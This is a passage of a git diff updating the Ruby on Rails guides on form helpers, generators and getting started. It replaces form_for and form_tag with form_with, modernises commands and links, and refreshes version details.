-The object in the `params` hash is an instance of a subclass of `IO`. Depending on the size of the uploaded file it may in fact be a `StringIO` or an instance of `File` backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
+The object in the `params` hash is an instance of [`ActionDispatch::Http::UploadedFile`](http://api.rubyonrails.org/classes/ActionDispatch/Http/UploadedFile.html). The following snippet saves the uploaded file in `#{Rails.root}/public/uploads` under the same name as the original file.
```ruby
def upload
- uploaded_io = params[:person][:picture]
- File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
- file.write(uploaded_io.read)
+ uploaded_file = params[:picture]
+ File.open(Rails.root.join('public', 'uploads', uploaded_file.original_filename), 'wb') do |file|
+ file.write(uploaded_file.read)
end
end
```
-Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](https://github.com/thoughtbot/paperclip).
-
-NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
-
-### Dealing with Ajax
-
-Unlike other forms, making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on Disk, Amazon S3, etc), associating them with models, resizing image files, and generating thumbnails, etc. [Active Storage](active_storage_overview.html) is designed to assist with these tasks.
Customizing Form Builders
-------------------------
-As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of `FormBuilder` (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass `FormBuilder` and add the helpers there. For example:
+The object yielded by `form_with` and `fields_for` is an instance of [`ActionView::Helpers::FormBuilder`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html). Form builders encapsulate the notion of displaying form elements for a single object. While you can write helpers for your forms in the usual way, you can also create subclass `ActionView::Helpers::FormBuilder` and add the helpers there. For example:
```erb
-<%= form_for @person do |f| %>
+<%= form_with model: @person do |f| %>
<%= text_field_with_label f, :first_name %>
<% end %>
```
@@ -669,7 +669,7 @@ As mentioned previously the object yielded by `form_for` and `fields_for` is an
can be replaced with
```erb
-<%= form_for @person, builder: LabellingFormBuilder do |f| %>
+<%= form_with model: @person, builder: LabellingFormBuilder do |f| %>
<%= f.text_field :first_name %>
<% end %>
```
@@ -684,12 +684,12 @@ class LabellingFormBuilder < ActionView::Helpers::FormBuilder
end
```
-If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option:
+If you reuse this frequently you could define a `labeled_form_with` helper that automatically applies the `builder: LabellingFormBuilder` option:
```ruby
-def labeled_form_for(record, options = {}, &block)
+def labeled_form_with(model: nil, scope: nil, url: nil, format: nil, **options, &block)
options.merge! builder: LabellingFormBuilder
- form_for record, options, &block
+ form_with model: model, scope: scope, url: url, format: format, **options, &block
end
```
@@ -699,13 +699,12 @@ The form builder used also determines what happens when you do
<%= render partial: f %>
```
-If `f` is an instance of `FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead.
+If `f` is an instance of `ActionView::Helpers::FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead.
Understanding Parameter Naming Conventions
------------------------------------------
-As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create`
-action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
+Values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create` action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes, and so on.
Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
@@ -752,25 +751,28 @@ This would result in `params[:person][:phone_number]` being an array containing
We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment
```html
-<input name="addresses[][line1]" type="text"/>
-<input name="addresses[][line2]" type="text"/>
-<input name="addresses[][city]" type="text"/>
+<input name="person[addresses][][line1]" type="text"/>
+<input name="person[addresses][][line2]" type="text"/>
+<input name="person[addresses][][city]" type="text"/>
+<input name="person[addresses][][line1]" type="text"/>
+<input name="person[addresses][][line2]" type="text"/>
+<input name="person[addresses][][city]" type="text"/>
```
-This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+This would result in `params[:person][:addresses]` being an array of hashes with keys `line1`, `line2`, and `city`.
-There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index or some other parameter.
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index, or some other parameter.
-WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.
+WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence.
### Using Form Helpers
-The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take.
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_with` and `fields_for` and the `:index` option that helpers take.
You might want to render a form with a set of edit fields for each of a person's addresses. For example:
```erb
-<%= form_for @person do |person_form| %>
+<%= form_with model: @person do |person_form| %>
<%= person_form.text_field :name %>
<% @person.addresses.each do |address| %>
<%= person_form.fields_for address, index: address.id do |address_form|%>
@@ -783,7 +785,8 @@ You might want to render a form with a set of edit fields for each of a person's
Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
```html
-<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
+<form accept-charset="UTF-8" action="/people/1" data-remote="true" method="post">
+ <input name="_method" type="hidden" value="patch" />
<input id="person_name" name="person[name]" type="text" />
<input id="person_address_23_city" name="person[address][23][city]" type="text" />
<input id="person_address_45_city" name="person[address][45][city]" type="text" />
@@ -808,7 +811,7 @@ To create more intricate nestings, you can specify the first part of the input
name (`person[address]` in the previous example) explicitly:
```erb
-<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
+<%= fields_for 'person[address][primary]', address, index: address.id do |address_form| %>
<%= address_form.text_field :city %>
<% end %>
```
@@ -816,12 +819,12 @@ name (`person[address]` in the previous example) explicitly:
will create inputs like
```html
-<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="Bologna" />
```
-As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_with`, the index value, and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
-As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address` so
+As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address.id` so
```erb
<%= fields_for 'person[address][primary][]', address do |address_form| %>
@@ -834,10 +837,10 @@ produces exactly the same output as the previous example.
Forms to External Resources
---------------------------
-Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
+Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_with` options:
```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
+<%= form_with url: 'http://farfar.away/form', authenticity_token: 'external_token' do %>
Form contents
<% end %>
```
@@ -845,23 +848,7 @@ Rails' form helpers can also be used to build a form for posting data to an exte
Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option:
```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
- Form contents
-<% end %>
-```
-
-The same technique is also available for `form_for`:
-
-```erb
-<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
- Form contents
-<% end %>
-```
-
-Or if you don't want to render an `authenticity_token` field:
-
-```erb
-<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+<%= form_with url: 'http://farfar.away/form', authenticity_token: false do %>
Form contents
<% end %>
```
@@ -869,7 +856,7 @@ Or if you don't want to render an `authenticity_token` field:
Building Complex Forms
----------------------
-Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove, or amend addresses as necessary.
### Configuring the Model
@@ -877,7 +864,7 @@ Active Record provides model level support via the `accepts_nested_attributes_fo
```ruby
class Person < ApplicationRecord
- has_many :addresses
+ has_many :addresses, inverse_of: :person
accepts_nested_attributes_for :addresses
end
@@ -886,14 +873,14 @@ class Address < ApplicationRecord
end
```
-This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
+This creates an `addresses_attributes=` method on `Person` that allows you to create, update, and (optionally) destroy addresses.
### Nested Forms
The following form allows a user to create a `Person` and its associated addresses.
```html+erb
-<%= form_for @person do |f| %>
+<%= form_with model: @person do |f| %>
Addresses:
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
@@ -916,7 +903,7 @@ When an association accepts nested attributes `fields_for` renders its block onc
```ruby
def new
@person = Person.new
- 2.times { @person.addresses.build}
+ 2.times { @person.addresses.build }
end
```
@@ -944,12 +931,12 @@ The `fields_for` yields a form builder. The parameters' name will be what
The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
-If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`.
### The Controller
As usual you need to
-[whitelist the parameters](action_controller_overview.html#strong-parameters) in
+[declare the permitted parameters](action_controller_overview.html#strong-parameters) in
the controller before you pass them to the model:
```ruby
@@ -975,12 +962,12 @@ class Person < ApplicationRecord
end
```
-If the hash of attributes for an object contains the key `_destroy` with a value
-of `1` or `true` then the object will be destroyed. This form allows users to
-remove addresses:
+If the hash of attributes for an object contains the key `_destroy` with a value that
+evaluates to `true` (eg. 1, '1', true, or 'true') then the object will be destroyed.
+This form allows users to remove addresses:
```erb
-<%= form_for @person do |f| %>
+<%= form_with model: @person do |f| %>
Addresses:
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
@@ -995,7 +982,7 @@ remove addresses:
<% end %>
```
-Don't forget to update the whitelisted params in your controller to also include
+Don't forget to update the permitted params in your controller to also include
the `_destroy` field:
```ruby
@@ -1020,4 +1007,9 @@ As a convenience you can instead pass the symbol `:all_blank` which will create
### Adding Fields on the Fly
-Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice.
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds since the [epoch](https://en.wikipedia.org/wiki/Unix_time)) is a common choice.
+
+Using form_for and form_tag
+---------------------------
+
+Before `form_with` was introduced in Rails 5.1 its functionality used to be split between `form_tag` and `form_for`. Both are now soft-deprecated. Documentation on their usage can be found in [older versions of this guide](https://guides.rubyonrails.org/v5.2/form_helpers.html).
diff --git a/guides/source/generators.md b/guides/source/generators.md
index d0b6cef3fd..89424a161b 100644
--- a/guides/source/generators.md
+++ b/guides/source/generators.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Creating and Customizing Rails Generators & Templates
=====================================================
@@ -26,13 +26,13 @@ When you create an application using the `rails` command, you are in fact using
```bash
$ rails new myapp
$ cd myapp
-$ bin/rails generate
+$ rails generate
```
You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
```bash
-$ bin/rails generate helper --help
+$ rails generate helper --help
```
Creating Your First Generator
@@ -57,13 +57,13 @@ Our new generator is quite simple: it inherits from `Rails::Generators::Base` an
To invoke our new generator, we just need to do:
```bash
-$ bin/rails generate initializer
+$ rails generate initializer
```
Before we go on, let's see our brand new generator description:
```bash
-$ bin/rails generate initializer --help
+$ rails generate initializer --help
```
Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
@@ -85,18 +85,20 @@ Creating Generators with Generators
Generators themselves have a generator:
```bash
-$ bin/rails generate generator initializer
+$ rails generate generator initializer
create lib/generators/initializer
create lib/generators/initializer/initializer_generator.rb
create lib/generators/initializer/USAGE
create lib/generators/initializer/templates
+ invoke test_unit
+ create test/lib/generators/initializer_generator_test.rb
```
This is the generator just created:
```ruby
class InitializerGenerator < Rails::Generators::NamedBase
- source_root File.expand_path("../templates", __FILE__)
+ source_root File.expand_path('templates', __dir__)
end
```
@@ -105,7 +107,7 @@ First, notice that we are inheriting from `Rails::Generators::NamedBase` instead
We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
```bash
-$ bin/rails generate initializer --help
+$ rails generate initializer --help
Usage:
rails generate initializer NAME [options]
```
@@ -122,7 +124,7 @@ And now let's change the generator to copy this template when invoked:
```ruby
class InitializerGenerator < Rails::Generators::NamedBase
- source_root File.expand_path("../templates", __FILE__)
+ source_root File.expand_path('templates', __dir__)
def copy_initializer_file
copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
@@ -133,7 +135,7 @@ end
And let's execute our generator:
```bash
-$ bin/rails generate initializer core_extensions
+$ rails generate initializer core_extensions
```
We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
@@ -172,7 +174,7 @@ end
Before we customize our workflow, let's first see what our scaffold looks like:
```bash
-$ bin/rails generate scaffold User name:string
+$ rails generate scaffold User name:string
invoke active_record
create db/migrate/20130924151154_create_users.rb
create app/models/user.rb
@@ -197,6 +199,9 @@ $ bin/rails generate scaffold User name:string
invoke jbuilder
create app/views/users/index.json.jbuilder
create app/views/users/show.json.jbuilder
+ invoke test_unit
+ create test/application_system_test_case.rb
+ create test/system/users_test.rb
invoke assets
invoke coffee
create app/assets/javascripts/users.coffee
@@ -216,7 +221,7 @@ If we want to avoid generating the default `app/assets/stylesheets/scaffolds.scs
end
```
-The next customization on the workflow will be to stop generating stylesheet, JavaScript and test fixture files for scaffolds altogether. We can achieve that by changing our configuration to the following:
+The next customization on the workflow will be to stop generating stylesheet, JavaScript, and test fixture files for scaffolds altogether. We can achieve that by changing our configuration to the following:
```ruby
config.generators do |g|
@@ -228,16 +233,18 @@ config.generators do |g|
end
```
-If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript, and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
```bash
-$ bin/rails generate generator rails/my_helper
+$ rails generate generator rails/my_helper
create lib/generators/rails/my_helper
create lib/generators/rails/my_helper/my_helper_generator.rb
create lib/generators/rails/my_helper/USAGE
create lib/generators/rails/my_helper/templates
+ invoke test_unit
+ create test/lib/generators/rails/my_helper_generator_test.rb
```
After that, we can delete both the `templates` directory and the `source_root`
@@ -260,7 +267,7 @@ end
We can try out our new generator by creating a helper for products:
```bash
-$ bin/rails generate my_helper products
+$ rails generate my_helper products
create app/helpers/products_helper.rb
```
@@ -288,7 +295,7 @@ end
and see it in action when invoking the generator:
```bash
-$ bin/rails generate scaffold Article body:text
+$ rails generate scaffold Article body:text
[...]
invoke my_helper
create app/helpers/articles_helper.rb
@@ -390,7 +397,7 @@ end
Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
```bash
-$ bin/rails generate scaffold Comment body:text
+$ rails generate scaffold Comment body:text
invoke active_record
create db/migrate/20130924143118_create_comments.rb
create app/models/comment.rb
@@ -415,6 +422,9 @@ $ bin/rails generate scaffold Comment body:text
invoke jbuilder
create app/views/comments/index.json.jbuilder
create app/views/comments/show.json.jbuilder
+ invoke test_unit
+ create test/application_system_test_case.rb
+ create test/system/comments_test.rb
invoke assets
invoke coffee
create app/assets/javascripts/comments.coffee
@@ -426,7 +436,7 @@ Fallbacks allow your generators to have a single responsibility, increasing code
Application Templates
---------------------
-Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html).
+Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred to as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html).
```ruby
gem "rspec-rails", group: "test"
@@ -504,13 +514,13 @@ Available options are:
Any additional options passed to this method are put on the end of the line:
```ruby
-gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master"
```
The above code will put the following line into `Gemfile`:
```ruby
-gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master"
```
### `gem_group`
@@ -627,7 +637,7 @@ This method also takes a block:
```ruby
lib "super_special.rb" do
- puts "Super special!"
+ "puts 'Super special!'"
end
```
@@ -636,7 +646,7 @@ end
Creates a Rake file in the `lib/tasks` directory of the application.
```ruby
-rakefile "test.rake", "hello there"
+rakefile "test.rake", 'task(:hello) { puts "Hello, there" }'
```
This method also takes a block:
@@ -689,14 +699,6 @@ Available options are:
* `:env` - Specifies the environment in which to run this rake task.
* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`.
-### `capify!`
-
-Runs the `capify` command from Capistrano at the root of the application which generates Capistrano configuration.
-
-```ruby
-capify!
-```
-
### `route`
Adds text to the `config/routes.rb` file:
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index 57b8472462..197a198db7 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Getting Started with Rails
==========================
@@ -20,16 +20,7 @@ Guide Assumptions
This guide is designed for beginners who want to get started with a Rails
application from scratch. It does not assume that you have any prior experience
-with Rails. However, to get the most out of it, you need to have some
-prerequisites installed:
-
-* The [Ruby](https://www.ruby-lang.org/en/downloads) language version 2.2.2 or newer.
-* Right version of [Development Kit](http://rubyinstaller.org/downloads/), if you
- are using Windows.
-* The [RubyGems](https://rubygems.org) packaging system, which is installed with
- Ruby by default. To learn more about RubyGems, please read the
- [RubyGems Guides](http://guides.rubygems.org).
-* A working installation of the [SQLite3 Database](https://www.sqlite.org).
+with Rails.
Rails is a web application framework running on the Ruby programming language.
If you have no prior experience with Ruby, you will find a very steep learning
@@ -46,7 +37,7 @@ development with Rails.
What is Rails?
--------------
-Rails is a web application development framework written in the Ruby language.
+Rails is a web application development framework written in the Ruby programming language.
It is designed to make programming web applications easier by making assumptions
about what every developer needs to get started. It allows you to write less
code while accomplishing more than many other languages and frameworks.
@@ -86,6 +77,9 @@ your prompt will look something like `c:\source_code>`
### Installing Rails
+Before you install Rails, you should check to make sure that your system has the
+proper prerequisites installed. These include Ruby and SQLite3.
+
Open up a command line prompt. On macOS open Terminal.app, on Windows choose
"Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a
dollar sign `$` should be run in the command line. Verify that you have a
@@ -93,15 +87,20 @@ current version of Ruby installed:
```bash
$ ruby -v
-ruby 2.3.1p112
+ruby 2.5.0
```
-TIP: A number of tools exist to help you quickly install Ruby and Ruby
-on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org),
-while macOS users can use [Tokaido](https://github.com/tokaido/tokaidoapp).
-For more installation methods for most Operating Systems take a look at
-[ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/).
+Rails requires Ruby version 2.4.1 or later. If the version number returned is
+less than that number, you'll need to install a fresh copy of Ruby.
+
+TIP: To quickly install Ruby and Ruby on Rails on your system in Windows, you can use
+[Rails Installer](http://railsinstaller.org). For more installation methods for most
+Operating Systems take a look at [ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/).
+If you are working on Windows, you should also install the
+[Ruby Installer Development Kit](https://rubyinstaller.org/downloads/).
+
+You will also need an installation of the SQLite3 database.
Many popular UNIX-like OSes ship with an acceptable version of SQLite3.
On Windows, if you installed Rails through Rails Installer, you
already have SQLite installed. Others can find installation instructions
@@ -127,7 +126,7 @@ run the following:
$ rails --version
```
-If it says something like "Rails 5.0.0", you are ready to continue.
+If it says something like "Rails 5.1.1", you are ready to continue.
### Creating the Blog Application
@@ -168,21 +167,24 @@ of the files and folders that Rails created by default:
| File/Folder | Purpose |
| ----------- | ------- |
-|app/|Contains the controllers, models, views, helpers, mailers, channels, jobs and assets for your application. You'll focus on this folder for the remainder of this guide.|
-|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, update, deploy or run your application.|
+|app/|Contains the controllers, models, views, helpers, mailers, channels, jobs, and assets for your application. You'll focus on this folder for the remainder of this guide.|
+|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, update, deploy, or run your application.|
|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).|
-|config.ru|Rack configuration for Rack based servers used to start the application.|
+|config.ru|Rack configuration for Rack based servers used to start the application. For more information about Rack, see the [Rack website](https://rack.github.io/).|
|db/|Contains your current database schema, as well as the database migrations.|
-|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](http://bundler.io).|
+|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](https://bundler.io).|
|lib/|Extended modules for your application.|
|log/|Application log files.|
+|package.json|This file allows you to specify what npm dependencies are needed for your Rails application. This file is used by Yarn. For more information about Yarn, see the [Yarn website](https://yarnpkg.com/lang/en/).|
|public/|The only folder seen by the world as-is. Contains static files and compiled assets.|
-|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
+|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing `Rakefile`, you should add your own tasks by adding files to the `lib/tasks` directory of your application.|
|README.md|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
+|storage/|Active Storage files for Disk Service. This is covered in [Active Storage Overview](active_storage_overview.html).|
|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).|
|tmp/|Temporary files (like cache and pid files).|
|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.|
-|.gitignore|This file tells git which files (or patterns) it should ignore. See [Github - Ignoring files](https://help.github.com/articles/ignoring-files) for more info about ignoring files.
+|.gitignore|This file tells git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more info about ignoring files.
+|.ruby-version|This file contains the default Ruby version.|
Hello, Rails!
-------------
@@ -197,7 +199,7 @@ start a web server on your development machine. You can do this by running the
following in the `blog` directory:
```bash
-$ bin/rails server
+$ rails server
```
TIP: If you are using Windows, you have to pass the scripts under the `bin`
@@ -207,7 +209,7 @@ TIP: Compiling CoffeeScript and JavaScript asset compression requires you
have a JavaScript runtime available on your system, in the absence
of a runtime you will see an `execjs` error during asset compilation.
Usually macOS and Windows come with a JavaScript runtime installed.
-Rails adds the `therubyracer` gem to the generated `Gemfile` in a
+Rails adds the `mini_racer` gem to the generated `Gemfile` in a
commented line for new apps and you can uncomment if you need it.
`therubyrhino` is the recommended runtime for JRuby users and is added by
default to the `Gemfile` in apps generated under JRuby. You can investigate
@@ -253,7 +255,7 @@ tell it you want a controller called "Welcome" with an action called "index",
just like this:
```bash
-$ bin/rails generate controller Welcome index
+$ rails generate controller Welcome index
```
Rails will create several files and a route for you.
@@ -303,12 +305,12 @@ Open the file `config/routes.rb` in your editor.
Rails.application.routes.draw do
get 'welcome/index'
- # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
+ # For details on the DSL available within this file, see https://guides.rubyonrails.org/routing.html
end
```
This is your application's _routing file_ which holds entries in a special
-[DSL (domain-specific language)](http://en.wikipedia.org/wiki/Domain-specific_language)
+[DSL (domain-specific language)](https://en.wikipedia.org/wiki/Domain-specific_language)
that tells Rails how to connect incoming requests to
controllers and actions.
Edit this file by adding the line of code `root 'welcome#index'`.
@@ -326,9 +328,9 @@ end
application to the welcome controller's index action and `get 'welcome/index'`
tells Rails to map requests to <http://localhost:3000/welcome/index> to the
welcome controller's index action. This was created earlier when you ran the
-controller generator (`bin/rails generate controller Welcome index`).
+controller generator (`rails generate controller Welcome index`).
-Launch the web server again if you stopped it to generate the controller (`bin/rails
+Launch the web server again if you stopped it to generate the controller (`rails
server`) and navigate to <http://localhost:3000> in your browser. You'll see the
"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`,
indicating that this new route is indeed going to `WelcomeController`'s `index`
@@ -339,13 +341,13 @@ TIP: For more information about routing, refer to [Rails Routing from the Outsid
Getting Up and Running
----------------------
-Now that you've seen how to create a controller, an action and a view, let's
+Now that you've seen how to create a controller, an action, and a view, let's
create something with a bit more substance.
In the Blog application, you will now create a new _resource_. A resource is the
-term used for a collection of similar objects, such as articles, people or
+term used for a collection of similar objects, such as articles, people, or
animals.
-You can create, read, update and destroy items for a resource and these
+You can create, read, update, and destroy items for a resource and these
operations are referred to as _CRUD_ operations.
Rails provides a `resources` method which can be used to declare a standard REST
@@ -362,23 +364,24 @@ Rails.application.routes.draw do
end
```
-If you run `bin/rails routes`, you'll see that it has defined routes for all the
+If you run `rails routes`, you'll see that it has defined routes for all the
standard RESTful actions. The meaning of the prefix column (and other columns)
will be seen later, but for now notice that Rails has inferred the
singular form `article` and makes meaningful use of the distinction.
```bash
-$ bin/rails routes
- Prefix Verb URI Pattern Controller#Action
- articles GET /articles(.:format) articles#index
- POST /articles(.:format) articles#create
- new_article GET /articles/new(.:format) articles#new
-edit_article GET /articles/:id/edit(.:format) articles#edit
- article GET /articles/:id(.:format) articles#show
- PATCH /articles/:id(.:format) articles#update
- PUT /articles/:id(.:format) articles#update
- DELETE /articles/:id(.:format) articles#destroy
- root GET / welcome#index
+$ rails routes
+ Prefix Verb URI Pattern Controller#Action
+welcome_index GET /welcome/index(.:format) welcome#index
+ articles GET /articles(.:format) articles#index
+ POST /articles(.:format) articles#create
+ new_article GET /articles/new(.:format) articles#new
+ edit_article GET /articles/:id/edit(.:format) articles#edit
